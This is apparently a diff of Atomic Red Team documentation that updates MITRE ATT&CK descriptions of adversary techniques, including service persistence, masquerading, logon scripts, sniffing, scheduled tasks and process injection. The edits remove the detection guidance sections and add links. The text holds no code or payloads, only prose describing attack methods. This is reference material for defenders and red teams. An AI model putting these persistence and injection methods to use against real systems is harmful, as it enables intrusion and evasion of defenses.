+<blockquote>Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).

-Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
+Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

-Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)
-
-Detection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) 
-
-Service information is stored in the Registry at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>.
-
-Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.
-
-Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring
-
-Permissions Required: Administrator, SYSTEM
-
-Contributors: Travis Smith, Tripwire, Matthew Demaske, Adaptforward</blockquote>
+Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)</blockquote>

 ## Atomic Tests

@@ -1,26 +1,16 @@
 # T1033 - System Owner/User Discovery
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1033)
-<blockquote>===Windows===
+<blockquote>### Windows

-Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.
+Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.

-===Mac===
+### Mac

 On Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.

-===Linux===
+### Linux

-On Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Process monitoring, Process command-line parameters
-
-Permissions Required: User, Administrator</blockquote>
+On Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.</blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1035 - Service Execution
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1035)
-<blockquote>Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.
-
-Detection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, Process command-line parameters, Process monitoring
-
-Permissions Required: Administrator, SYSTEM
-
-Remote Support: Yes</blockquote>
+<blockquote>Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.</blockquote>

 ## Atomic Tests

@@ -1,31 +1,19 @@
 # T1036 - Masquerading
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1036)
-<blockquote>Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.  Several different variations of this technique have been observed.
+<blockquote>Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

-One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program.  Alternatively, the filename given may be a close approximation of legitimate programs.  This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.
+One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.


-===Windows===
+### Windows
 In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

-An example of abuse of trusted locations in Windows would be the <code>C:\Windows\System32</code> directory.  Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".
+An example of abuse of trusted locations in Windows would be the <code>C:\Windows\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".

-===Linux===
-Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before.  (Citation: Remaiten)
+### Linux
+Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)

-An example of abuse of trusted locations in Linux  would be the <code>/bin</code> directory.  Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier".   (Citation: Fysbis Palo Alto Analysis)  (Citation: Fysbis Dr Web Analysis)
-
-Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.
-
-If file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Process monitoring, Binary file metadata
-
-Defense Bypassed: Whitelisting by file name or path
-
-Contributors: ENDGAME, Bartosz Jerzman</blockquote>
+An example of abuse of trusted locations in Linux  would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis)  (Citation: Fysbis Dr Web Analysis)</blockquote>

 ## Atomic Tests

@@ -1,22 +1,14 @@
 # T1037 - Logon Scripts
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1037)
-<blockquote>===Windows===
+<blockquote>### Windows

 Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.

 If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

-===Mac===
+### Mac

-Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.
-
-Detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.
-
-Platforms: macOS, Windows
-
-Data Sources: File monitoring, Process monitoring
-
-System Requirements: Write access to system or domain logon scripts</blockquote>
+Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.</blockquote>

 ## Atomic Tests

@@ -1,18 +1,10 @@
 # T1040 - Network Sniffing
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1040)
-<blockquote>Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.
+<blockquote>Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

-User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
+Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

-Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow
-
-Permissions Required: Administrator, SYSTEM
-
-System Requirements: Network interface access and packet capture driver</blockquote>
+Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.</blockquote>

 ## Atomic Tests

@@ -1,27 +1,13 @@
 # T1042 - Change Default File Association
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1042)
-<blockquote>When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
+<blockquote>When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

 System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. For example:
-*<code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>
-*<code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>
-*<code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>
+* <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>
+* <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>
+* <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>

-The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.
-
-Detection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. 
-
-User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.
-
-Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator, SYSTEM
-
-Contributors: Stefan Kanthak, Travis Smith, Tripwire</blockquote>
+The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)</blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1046 - Network Service Scanning
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1046)
-<blockquote>Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network
-
-Permissions Required: User, Administrator, SYSTEM</blockquote>
+<blockquote>Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.</blockquote>

 ## Atomic Tests

@@ -2,21 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1047)
 <blockquote>Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)

-An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)
-
-Detection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)
-
-Platforms: Windows
-
-Data Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator
-
-System Requirements: WMI service, winmgmt, running.
-Host/network firewalls allowing SMB and WMI ports from source to destination.
-SMB authentication.
-
-Remote Support: Yes</blockquote>
+An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1048 - Exfiltration Over Alternative Protocol
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1048)
-<blockquote>Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.
-
-Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis
-
-Requires Network: Yes</blockquote>
+<blockquote>Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.</blockquote>

 ## Atomic Tests

@@ -2,23 +2,13 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1049)
 <blockquote>Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. 

-===Windows===
+### Windows

-Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net.
+Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039).

-===Mac and Linux ===
+### Mac and Linux 

-In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator</blockquote>
+In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".</blockquote>

 ## Atomic Tests

@@ -2,21 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1050)
 <blockquote>When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. 

-Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
-
-Detection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-
-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
-
-Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, Process monitoring, Process command-line parameters
-
-Effective Permissions: SYSTEM
-
-Permissions Required: Administrator, SYSTEM</blockquote>
+Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).</blockquote>

 ## Atomic Tests

@@ -1,32 +1,8 @@
 # T1053 - Scheduled Task
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1053)
-<blockquote>Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)
+<blockquote>Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)

-An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
-
-Detection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\System32\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-
-Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)
-
-*Event ID 106 - Scheduled task registered
-*Event ID 140 - Scheduled task updated
-*Event ID 141 - Scheduled task removed
-
-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.
-
-Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
-
-Platforms: Windows
-
-Data Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs
-
-Effective Permissions: Administrator, SYSTEM, User
-
-Permissions Required: Administrator, SYSTEM, User
-
-Remote Support: Yes
-
-Contributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security</blockquote>
+An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.</blockquote>

 ## Atomic Tests

@@ -2,44 +2,26 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1055)
 <blockquote>Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

-===Windows===
+### Windows

-There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017)
-* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.
-* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)
-* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.
-* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing  (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)
-* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)
+There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)

-===Mac and Linux===
+* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.
+* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)
+* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.
+* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018)  AtomBombing  (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)
+* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)
+
+### Mac and Linux

 Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)
-*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)
-*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)
-*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)
-*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)

-Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
+* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)
+* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)
+* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)
+* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)

-Detection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)
-
-Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.  (Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits)
-
-Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)
-
-Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring
-
-Effective Permissions: User, Administrator, SYSTEM, root
-
-Defense Bypassed: Process whitelisting, Anti-virus
-
-Permissions Required: User, Administrator, SYSTEM, root
-
-Contributors: Anastasios Pingios</blockquote>
+Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.</blockquote>

 ## Atomic Tests

@@ -1,24 +1,12 @@
 # T1056 - Input Capture
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1056)
-<blockquote>Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.
+<blockquote>Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.

